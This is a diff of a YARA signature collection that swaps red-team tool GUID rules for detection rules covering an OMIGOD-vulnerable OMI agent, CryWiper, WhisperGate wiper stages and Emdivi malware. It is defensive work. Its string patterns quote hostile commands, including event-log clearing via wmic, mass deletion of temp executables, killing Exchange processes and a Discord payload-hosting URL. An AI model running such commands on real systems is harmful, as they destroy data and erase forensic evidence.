+		description = "Detects a Linux OMI version vulnerable to CVE-2021-38647 (OMIGOD) which enables an unauthenticated RCE"
+		author = "Christian Burkard"
+		id = "ca49f0cc-ea33-559c-bd4f-306a01315fce"
+		date = "2021-09-16"
+		modified = "2023-12-05"
+		reference = "https://www.wiz.io/blog/secret-agent-exposes-azure-customers-to-unauthorized-code-execution"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/vul_cve_2021_386471_omi.yar#L1-L37"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "99fddcf763f41a08a8ef8240d544ef67b840a1b5ae709bd7efbcbcad8268e8a5"
+		score = 50
+		quality = 85
+		tags = "CVE-2021-38647, FILE"
 
-rule SIGNATURE_BASE_HKTL_NET_GUID_P0Wnedshell : FILE
+	strings:
+		$a1 = "/opt/omi/bin/omiagent" ascii fullword
+		$s1 = "OMI-1.6.8-0 - " ascii
+		$s2 = "OMI-1.6.6-0 - " ascii
+		$s3 = "OMI-1.6.4-1 - " ascii
+		$s4 = "OMI-1.6.4-0 - " ascii
+		$s5 = "OMI-1.6.2-0 - " ascii
+		$s6 = "OMI-1.6.1-0 - " ascii
+		$s7 = "OMI-1.5.0-0 - " ascii
+		$s8 = "OMI-1.4.4-0 - " ascii
+		$s9 = "OMI-1.4.3-2 - " ascii
+		$s10 = "OMI-1.4.3-1 - " ascii
+		$s11 = "OMI-1.4.3-0 - " ascii
+		$s12 = "OMI-1.4.2-5 - " ascii
+		$s13 = "OMI-1.4.2-4 - " ascii
+		$s14 = "OMI-1.4.2-3 - " ascii
+		$s15 = "OMI-1.4.2-2 - " ascii
+		$s16 = "OMI-1.4.2-1 - " ascii
+		$s17 = "OMI-1.4.1-1 - " ascii
+		$s18 = "OMI-1.4.1-0 - " ascii
+		$s19 = "OMI-1.4.0-6 - " ascii
+
+	condition:
+		uint32be(0)==0x7f454c46 and $a1 and 1 of ($s*)
+}
+rule SIGNATURE_BASE_APT_Crywiper_Dec22
 {
 	meta:
-		description = "Detects c# red/black-team tools via typelibguid"
-		author = "Arnim Rupp (https://github.com/ruppde)"
-		id = "390b94d1-dda9-5a85-80ae-c79a3f7b0b9d"
-		date = "2020-12-28"
-		modified = "2023-04-06"
-		reference = "https://github.com/Cn33liz/p0wnedShell"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_github_net_redteam_tools_guids.yar#L3569-L3583"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "bed8f4ea30218c137a26da5059934fa93316f4a3623284c5cb3a44b8bfacf7c4"
+		description = "Detects CryWiper malware samples"
+		author = "Florian Roth (Nextron Systems)"
+		id = "d56ccf4e-30ba-5308-ad68-ffc2ae5a1718"
+		date = "2022-12-05"
+		modified = "2023-12-05"
+		reference = "https://securelist-ru.translate.goog/novyj-troyanec-crywiper/106114/?_x_tr_sl=auto&_x_tr_tl=en&_x_tr_hl=en"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_ru_crywiper.yar#L2-L19"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "7c22e02ed996cd820ed87a0c5d50e3264629cdd887aad4ea466cadeccaee2b2f"
 		score = 75
 		quality = 85
-		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		tags = ""
 
 	strings:
-		$typelibguid0lo = "2e9b1462-f47c-48ca-9d85-004493892381" ascii wide
-		$typelibguid0up = "2E9B1462-F47C-48CA-9D85-004493892381" ascii wide
+		$x1 = "Software\\Sysinternals\\BrowserUpdate"
+		$sx1 = "taskkill.exe /f /im MSExchange*"
+		$s1 = "SYSTEM\\CurrentControlSet\\Control\\Terminal Server" ascii
+		$s2 = "fDenyTSConnections" ascii
 
 	condition:
-		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and any of them
+		1 of ($x*) or all of ($s*)
 }
-import "pe"
-
-rule SIGNATURE_BASE_HKTL_NET_GUID_Sharpmove : FILE
+rule SIGNATURE_BASE_APT_HKTL_Wiper_Whispergate_Jan22_1 : FILE
 {
 	meta:
-		description = "Detects c# red/black-team tools via typelibguid"
-		author = "Arnim Rupp (https://github.com/ruppde)"
-		id = "e52392f9-614c-596e-8efd-aa0a2fa44e60"
-		date = "2020-12-28"
-		modified = "2023-04-06"
-		reference = "https://github.com/0xthirteen/SharpMove"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_github_net_redteam_tools_guids.yar#L3585-L3599"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "4dd05b77d8cacb0dc208ee7bdde5358adfdf0bb04f52f1d6f12774effc547ca7"
-		score = 75
+		description = "Detects unknown wiper malware"
+		author = "Florian Roth (Nextron Systems)"
+		id = "f04b619e-1df2-5c51-9cab-4a0fffd1c042"
+		date = "2022-01-16"
+		modified = "2023-12-05"
+		reference = "https://www.microsoft.com/security/blog/2022/01/15/destructive-malware-targeting-ukrainian-organizations/"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_ua_wiper_whispergate.yar#L2-L23"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "72eb50a70b3f2fbb232134ef4706dbb15bdb5893fe06d899bff3b7aacdfadd30"
+		score = 85
 		quality = 85
 		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		hash1 = "a196c6b8ffcb97ffb276d04f354696e2391311db3841ae16c8c9f56f36a38e92"
 
 	strings:
-		$typelibguid0lo = "8bf82bbe-909c-4777-a2fc-ea7c070ff43e" ascii wide
-		$typelibguid0up = "8BF82BBE-909C-4777-A2FC-EA7C070FF43E" ascii wide
+		$xc1 = { 41 41 41 41 41 00 59 6F 75 72 20 68 61 72 64 20
+               64 72 69 76 65 20 68 61 73 20 62 65 65 6E 20 63
+               6F 72 72 75 70 74 65 64 }
+		$op1 = { 89 34 24 e8 3f ff ff ff 50 8d 65 f4 31 c0 59 5e 5f }
+		$op2 = { 8d bd e8 df ff ff e8 04 de ff ff b9 00 08 00 00 f3 a5 c7 44 24 18 00 00 00 00 c7 44 24 14 00 00 00 00 c7 44 24 10 03 00 00 00 c7 44 24 0c 00 00 00 00 }
+		$op3 = { c7 44 24 0c 00 00 00 00 c7 44 24 08 00 02 00 00 89 44 24 04 e8 aa fe ff ff 83 ec 14 89 34 24 e8 3f ff ff ff 50 }
 
 	condition:
-		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and any of them
+		uint16(0)==0x5a4d and filesize <100KB and (1 of ($x*) or 2 of them ) or all of them
 }
-import "pe"
-
-rule SIGNATURE_BASE_HKTL_NET_GUID_C_Sharp_R_A_T_Client : FILE
+rule SIGNATURE_BASE_APT_HKTL_Wiper_Whispergate_Jan22_2 : FILE
 {
 	meta:
-		description = "Detects c# red/black-team tools via typelibguid"
-		author = "Arnim Rupp (https://github.com/ruppde)"
-		id = "f5df8257-d202-58e3-9c4a-1dfc9dd52f2a"
-		date = "2020-12-28"
-		modified = "2023-04-06"
-		reference = "https://github.com/AdvancedHacker101/C-Sharp-R.A.T-Client"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_github_net_redteam_tools_guids.yar#L3601-L3615"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "5e6a9db731caf7bc7ab79fa70c3f9bacaca8fa2d70deafe2a0b08ae4fac8a35b"
-		score = 75
+		description = "Detects unknown wiper malware"
+		author = "Florian Roth (Nextron Systems)"
+		id = "822e5af5-9c51-5be3-94f1-7e0a714743e6"
+		date = "2022-01-16"
+		modified = "2023-12-05"
+		reference = "https://www.microsoft.com/security/blog/2022/01/15/destructive-malware-targeting-ukrainian-organizations/"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_ua_wiper_whispergate.yar#L25-L57"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "87a03e95bc1c33d1b3343ec7369c516bb15791943fbb122de11867ad4bddd565"
+		score = 90
 		quality = 85
 		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		hash1 = "dcbbae5a1c61dbbbb7dcd6dc5dd1eb1169f5329958d38b58c3fd9384081c9b78"
 
 	strings:
-		$typelibguid0lo = "6d9e8852-e86c-4e36-9cb4-b3c3853ed6b8" ascii wide
-		$typelibguid0up = "6D9E8852-E86C-4E36-9CB4-B3C3853ED6B8" ascii wide
+		$sc1 = { 70 00 6F 00 77 00 65 00 72 00 73 00 68 00 65 00
+               6C 00 6C 00 00 27 2D 00 65 00 6E 00 63 00 20 00
+               55 00 77 00 42 00 30 00 41 00 47 00 45 00 41 00
+               63 00 67 00 42 00 30 00 41 00 43 }
+		$sc2 = { 59 00 6C 00 66 00 77 00 64 00 77 00 67 00 6D 00
+               70 00 69 00 6C 00 7A 00 79 00 61 00 70 00 68 }
+		$s1 = "xownxloxadDxatxxax" wide
+		$s2 = "0AUwBsAGUAZQBwACAALQBzACAAMQAwAA==" wide
+		$s3 = "https://cdn.discordapp.com/attachments/" wide
+		$s4 = "fffxfff.fff" ascii fullword
+		$op1 = { 20 6b 85 b9 03 20 14 19 91 52 61 65 20 e1 ae f1 }
+		$op2 = { aa ae 74 20 d9 7c 71 04 59 20 71 cc 13 91 61 20 97 3c 2a c0 }
+		$op3 = { 38 9c f3 ff ff 20 f2 96 4d e9 20 5d ae d9 ce 58 20 4f 45 27 }
+		$op4 = { d4 67 d4 61 80 1c 00 00 04 38 35 02 00 00 20 27 c0 db 56 65 20 3d eb 24 de 61 }
 
 	condition:
-		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and any of them
+		uint16(0)==0x5a4d and filesize <1000KB and 5 of them or 7 of them
 }
-import "pe"
-
-rule SIGNATURE_BASE_HKTL_NET_GUID_Sharpprinter : FILE
+rule SIGNATURE_BASE_APT_HKTL_Wiper_Whispergate_Stage3_Jan22 : FILE
 {
 	meta:
-		description = "Detects c# red/black-team tools via typelibguid"
-		author = "Arnim Rupp (https://github.com/ruppde)"
-		id = "10270351-ad80-5330-971b-bc8f635f05f4"
-		date = "2020-12-28"
-		modified = "2023-04-06"
-		reference = "https://github.com/rvrsh3ll/SharpPrinter"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_github_net_redteam_tools_guids.yar#L3617-L3631"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "db7f131fa38756d53681792f3de2af44ace768e66c5318f61fa199900a8cdb8e"
+		description = "Detects reversed stage3 related to Ukrainian wiper malware"
+		author = "Florian Roth (Nextron Systems)"
+		id = "d5d562cd-03ef-5450-8044-3f538cea32d0"
+		date = "2022-01-16"
+		modified = "2023-12-05"
+		reference = "https://twitter.com/juanandres_gs/status/1482827018404257792"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_ua_wiper_whispergate.yar#L59-L74"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "b06536b6a6eebd5fb398ba2617bf68a5b2c4b0035766b3cd0fc03d95019891ec"
 		score = 75
 		quality = 85
 		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		hash1 = "9ef7dbd3da51332a78eff19146d21c82957821e464e8133e9594a07d716d892d"
 
 	strings:
-		$typelibguid0lo = "41b2d1e5-4c5d-444c-aa47-629955401ed9" ascii wide
-		$typelibguid0up = "41B2D1E5-4C5D-444C-AA47-629955401ED9" ascii wide
+		$xc1 = { 65 31 63 70 00 31 79 72 61 72 62 69 4c 73 73 61 6c 43 00 6e 69 61 4d }
+		$s1 = "lld." wide
 
 	condition:
-		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and any of them
+		uint16( filesize -2)==0x4d5a and filesize <5000KB and all of them
 }
-import "pe"
-
-rule SIGNATURE_BASE_HKTL_NET_GUID_Evilfoca : FILE
+rule SIGNATURE_BASE_MAL_OBFUSC_Unknown_Jan22_1 : FILE
 {
 	meta:
-		description = "Detects c# red/black-team tools via typelibguid"
-		author = "Arnim Rupp (https://github.com/ruppde)"
-		id = "2b2f5f6f-4224-5013-9e85-0ac088826bea"
-		date = "2020-12-28"
-		modified = "2023-04-06"
-		reference = "https://github.com/ElevenPaths/EvilFOCA"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_github_net_redteam_tools_guids.yar#L3633-L3647"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "d3302781414e5146ee8b5d7d2df8aa5d4be31308b7483200eb695e0c0048c279"
+		description = "Detects samples similar to reversed stage3 found in Ukrainian wiper incident named WhisperGate"
+		author = "Florian Roth (Nextron Systems)"
+		id = "647c0092-b03d-5627-8568-ddaa982c73a1"
+		date = "2022-01-16"
+		modified = "2023-12-05"
+		reference = "https://twitter.com/juanandres_gs/status/1482827018404257792"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_ua_wiper_whispergate.yar#L76-L101"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "26a295d3b78c3a33d776a648aa0f410ac7cb5021ad9d3b294ff9629d6ba7132a"
 		score = 75
 		quality = 85
 		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		hash1 = "9ef7dbd3da51332a78eff19146d21c82957821e464e8133e9594a07d716d892d"
 
 	strings:
-		$typelibguid0lo = "f26bdb4a-5846-4bec-8f52-3c39d32df495" ascii wide
-		$typelibguid0up = "F26BDB4A-5846-4BEC-8F52-3C39D32DF495" ascii wide
+		$xc1 = { 37 00 63 00 38 00 63 00 62 00 35 00 35 00 39 00
+               38 00 65 00 37 00 32 00 34 00 64 00 33 00 34 00
+               33 00 38 00 34 00 63 00 63 00 65 00 37 00 34 00
+               30 00 32 00 62 00 31 00 31 00 66 00 30 00 65 }
+		$xc2 = { 4D 61 69 6E 00 43 6C 61 73 73 4C 69 62 72 61 72
+               79 31 00 70 63 31 65 }
+		$s1 = ".dll" wide
+		$s2 = "%&%,%s%" ascii fullword
+		$op1 = { a2 87 fa b1 44 a5 f5 12 da a7 49 11 5c 8c 26 d4 75 }
+		$op2 = { d7 af 52 38 c7 47 95 c8 0e 88 f3 d5 0b }
+		$op3 = { 6c 05 df d6 b8 ac 11 f2 67 16 cb b7 34 4d b6 91 }
 
 	condition:
-		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and any of them
+		uint16(0)==0x5a4d and filesize <1000KB and (1 of ($x*) or 3 of them )
 }
-import "pe"
-
-rule SIGNATURE_BASE_HKTL_NET_GUID_Poshc2_Misc : FILE
+rule SIGNATURE_BASE_MAL_Unknown_Discord_Characteristics_Jan22_1 : FILE
 {
 	meta:
-		description = "Detects c# red/black-team tools via typelibguid"
-		author = "Arnim Rupp (https://github.com/ruppde)"
-		id = "245803cb-63d8-5c75-b672-912091cf4a80"
-		date = "2020-12-28"
-		modified = "2023-04-06"
-		reference = "https://github.com/nettitude/PoshC2_Misc"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_github_net_redteam_tools_guids.yar#L3649-L3665"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "b6cabc8a50db469162024b13df8d69f57ca5ec008bddc647aee2a73dff9942c8"
+		description = "Detects unknown malware with a few indicators also found in Wiper malware"
+		author = "Florian Roth (Nextron Systems)"
+		id = "23ee5319-6a72-517b-8ea0-55063b6b862c"
+		date = "2022-01-16"
+		modified = "2023-12-05"
+		reference = "https://www.microsoft.com/security/blog/2022/01/15/destructive-malware-targeting-ukrainian-organizations/"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_ua_wiper_whispergate.yar#L103-L119"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "f9cf4a15be0ab35a0d0f0c9b1a191f623f905c8fc9da651872de7c025a27a806"
 		score = 75
 		quality = 85
 		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		hash1 = "dcbbae5a1c61dbbbb7dcd6dc5dd1eb1169f5329958d38b58c3fd9384081c9b78"
 
 	strings:
-		$typelibguid0lo = "85773eb7-b159-45fe-96cd-11bad51da6de" ascii wide
-		$typelibguid0up = "85773EB7-B159-45FE-96CD-11BAD51DA6DE" ascii wide
-		$typelibguid1lo = "9d32ad59-4093-420d-b45c-5fff391e990d" ascii wide
-		$typelibguid1up = "9D32AD59-4093-420D-B45C-5FFF391E990D" ascii wide
+		$x1 = "xownxloxadDxatxxax" wide
+		$s2 = "https://cdn.discordapp.com/attachments/" wide
 
 	condition:
-		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and any of them
+		uint16(0)==0x5a4d and filesize <1000KB and all of them
 }
-import "pe"
+rule SIGNATURE_BASE_ACE_Containing_EXE
+{
+	meta:
+		description = "Looks for ACE Archives containing an exe/scr file"
+		author = "Florian Roth (Nextron Systems) - based on Nick Hoffman' rule - Morphick Inc"
+		id = "0756f0e7-39f1-572d-a77d-1f7826332360"
+		date = "2015-09-09"
+		modified = "2023-12-05"
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_ace_with_exe.yar#L2-L20"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "27fba0db7a98fbaf4b3710a9e411ed74860099c133a2e83ddf368ae2fef3c288"
+		score = 50
+		quality = 83
+		tags = ""
 
-rule SIGNATURE_BASE_HKTL_NET_GUID_Sharpire : FILE
+	strings:
+		$header = { 2a 2a 41 43 45 2a 2a }
+		$extensions1 = ".exe"
+		$extensions2 = ".EXE"
+		$extensions3 = ".scr"
+		$extensions4 = ".SCR"
+
+	condition:
+		$header at 7 and for any of ($extensions*) : ($ in (81..(81+ uint16(79))))
+}
+rule SIGNATURE_BASE_Emdivi_SFX : FILE
 {
 	meta:
-		description = "Detects c# red/black-team tools via typelibguid"
-		author = "Arnim Rupp (https://github.com/ruppde)"
-		id = "32bdaa0f-3afc-5e0e-a20f-e21f33909af7"
-		date = "2020-12-28"
-		modified = "2023-04-06"
-		reference = "https://github.com/0xbadjuju/Sharpire"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_github_net_redteam_tools_guids.yar#L3667-L3681"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "f8ddf85c279c6ea4a2db679a0d5c816837e8bd91f1f6e15787dd34463483fc85"
-		score = 75
+		description = "Detects Emdivi malware in SFX Archive"
+		author = "Florian Roth (Nextron Systems) @Cyber0ps"
+		id = "51367190-2e8d-507c-a19f-996bc6960977"
+		date = "2015-08-20"
+		modified = "2023-12-05"
+		reference = "https://securelist.com/blog/research/71876/new-activity-of-the-blue-termite-apt/"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_bluetermite_emdivi.yar#L9-L28"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "3257983c64c52f36b04e3fe7b12180a37531338349137d4df00fc6f704557b2e"
+		score = 70
 		quality = 85
 		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		hash1 = "7a3c81b2b3c14b9cd913692347019887b607c54152b348d6d3ccd3ecfd406196"
+		hash2 = "8c3df4e4549db3ce57fc1f7b1b2dfeedb7ba079f654861ca0b608cbfa1df0f6b"
 
 	strings:
-		$typelibguid0lo = "39b75120-07fe-4833-a02e-579ff8b68331" ascii wide
-		$typelibguid0up = "39B75120-07FE-4833-A02E-579FF8B68331" ascii wide
+		$x1 = "Setup=unsecess.exe" fullword ascii
+		$x2 = "Setup=leassnp.exe" fullword ascii
+		$s1 = "&Enter password for the encrypted file:" fullword wide
+		$s2 = ";The comment below contains SFX script commands" fullword ascii
+		$s3 = "Path=%temp%" fullword ascii
 
 	condition:
-		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and any of them
+		uint16(0)==0x5a4d and filesize <740KB and (1 of ($x*) and all of ($s*))
 }
-import "pe"
-
-rule SIGNATURE_BASE_HKTL_NET_GUID_Sharp_Smbexec : FILE
+rule SIGNATURE_BASE_Emdivi_Gen1 : FILE
 {
 	meta:
-		description = "Detects c# red/black-team tools via typelibguid"
-		author = "Arnim Rupp (https://github.com/ruppde)"
-		id = "6a1024af-734c-5974-af50-db51dbd694ff"
-		date = "2020-12-28"
-		modified = "2023-04-06"
-		reference = "https://github.com/checkymander/Sharp-SMBExec"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_github_net_redteam_tools_guids.yar#L3683-L3697"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "e9e248c4ac359a098f1ef26dc300e38836f070545db182a0b72a6eaf9bf003da"
-		score = 75
+		description = "Detects Emdivi Malware"
+		author = "Florian Roth (Nextron Systems) @Cyber0ps"
+		id = "807cf3f9-4f58-5d22-88b2-9adb7866979f"
+		date = "2015-08-20"
+		modified = "2023-12-05"
+		reference = "https://securelist.com/blog/research/71876/new-activity-of-the-blue-termite-apt/"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_bluetermite_emdivi.yar#L32-L60"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "e1895926f6327bf301b8618f9162cacb30ad96f181f197559d399675e2cd93c6"
+		score = 80
 		quality = 85
 		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		super_rule = 1
+		hash1 = "17e646ca2558a65ffe7aa185ba75d5c3a573c041b897355c2721e9a8ca5fee24"
+		hash2 = "3553c136b4eba70eec5d80abe44bd7c7c33ab1b65de617dbb7be5025c9cf01f1"
+		hash3 = "6a331c4e654dd8ddaa2c69d260aa5f4f76f243df8b5019d62d4db5ae5c965662"
+		hash4 = "90d07ea2bb80ed52b007f57d0d9a79430cd50174825c43d5746a16ee4f94ea86"
 
 	strings:
-		$typelibguid0lo = "344ee55a-4e32-46f2-a003-69ad52b55945" ascii wide
-		$typelibguid0up = "344EE55A-4E32-46F2-A003-69AD52B55945" ascii wide
+		$x1 = "wmic nteventlog where filename=\"SecEvent\" call cleareventlog" fullword wide
+		$x2 = "del %Temp%\\*.exe %Temp%\\*.dll %Temp%\\*.bat %Temp%\\*.ps1 %Temp%\\*.cmd /f /q" fullword wide
+		$x3 = "userControl-v80.exe" fullword ascii
+		$s1 = "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727.42)" fullword wide
+		$s2 = "http://www.msftncsi.com" fullword wide
+		$s3 = "net use | find /i \"c$\"" fullword wide
+		$s4 = " /del /y & " fullword wide
+		$s5 = "\\auto.cfg" wide
+		$s6 = "/ncsi.txt" fullword wide
+		$s7 = "Dcmd /c" fullword wide
+		$s8 = "/PROXY" fullword wide
 
 	condition:
-		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and any of them
+		uint16(0)==0x5a4d and filesize <800KB and all of them
 }
-import "pe"
-
-rule SIGNATURE_BASE_HKTL_NET_GUID_Misctools : FILE
+rule SIGNATURE_BASE_Emdivi_Gen2 : FILE
 {
 	meta:
-		description = "Detects c# red/black-team tools via typelibguid"
-		author = "Arnim Rupp (https://github.com/ruppde)"
-		id = "ce49cc7b-a5a5-52b7-a7bf-bbb0c5b29b8a"
-		date = "2020-12-28"
-		modified = "2023-04-06"
-		reference = "https://github.com/rasta-mouse/MiscTools"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_github_net_redteam_tools_guids.yar#L3699-L3721"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "551c11eb44007cefd7e588fa97659cea44cf64b32a2e061aab425aa4a67583ef"
-		score = 75
+		description = "Detects Emdivi Malware"
+		author = "Florian Roth (Nextron Systems) @Cyber0ps"
+		id = "9a77c85c-84b0-5e0f-93bc-e17e2aaec095"
+		date = "2015-08-20"
+		modified = "2023-01-27"
+		reference = "https://securelist.com/blog/research/71876/new-activity-of-the-blue-termite-apt/"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_bluetermite_emdivi.yar#L62-L85"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "c40306d646c5bf8c3aff1bc697b81997b4d635ccf237775e2bea96b89f7fa001"
+		score = 80
 		quality = 85
 		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		super_rule = 1
+		hash1 = "9a351885bf5f6fec466f30021088504d96e9db10309622ed198184294717add1"
+		hash2 = "a5be7cb1f37030c9f9211c71e0fbe01dae19ff0e6560c5aab393621f18a7d012"
+		hash3 = "9183abb9b639699cd2ad28d375febe1f34c14679b7638d1a79edb49d920524a4"
 
 	strings:
-		$typelibguid0lo = "384e9647-28a9-4835-8fa7-2472b1acedc0" ascii wide
-		$typelibguid0up = "384E9647-28A9-4835-8FA7-2472B1ACEDC0" ascii wide
-		$typelibguid1lo = "d7ec0ef5-157c-4533-bbcd-0fe070fbf8d9" ascii wide
-		$typelibguid1up = "D7EC0EF5-157C-4533-BBCD-0FE070FBF8D9" ascii wide
-		$typelibguid2lo = "10085d98-48b9-42a8-b15b-cb27a243761b" ascii wide
-		$typelibguid2up = "10085D98-48B9-42A8-B15B-CB27A243761B" ascii wide
-		$typelibguid3lo = "6aacd159-f4e7-4632-bad1-2ae8526a9633" ascii wide
-		$typelibguid3up = "6AACD159-F4E7-4632-BAD1-2AE8526A9633" ascii wide
-		$typelibguid4lo = "49a6719e-11a8-46e6-ad7a-1db1be9fea37" ascii wide
-		$typelibguid4up = "49A6719E-11A8-46E6-AD7A-1DB1BE9FEA37" ascii wide
+		$s1 = "%TEMP%\\IELogs\\" ascii
+		$s2 = "MSPUB.EXE" fullword ascii
+		$s3 = "%temp%\\" ascii
+		$s4 = "\\NOTEPAD.EXE" ascii
+		$s5 = "%4d-%02d-%02d %02d:%02d:%02d " fullword ascii
+		$s6 = "INTERNET_OPEN_TYPE_PRECONFIG" fullword ascii
+		$s7 = "%4d%02d%02d%02d%02d%02d" fullword ascii
 
 	condition:
-		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and any of them
+		uint16(0)==0x5a4d and filesize <1300KB and 6 of them
 }
-import "pe"
-
-rule SIGNATURE_BASE_HKTL_NET_GUID_Memorymapper : FILE
+rule SIGNATURE_BASE_MAL_Emdivi_Gen3 : FILE
 {
 	meta:
-		description = "Detects c# red/black-team tools via typelibguid"
-		author = "Arnim Rupp (https://github.com/ruppde)"
-		id = "c978be10-315c-54e7-afea-f97e9a5f2d18"
-		date = "2020-12-28"
-		modified = "2023-04-06"
-		reference = "https://github.com/jasondrawdy/MemoryMapper"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_github_net_redteam_tools_guids.yar#L3723-L3737"
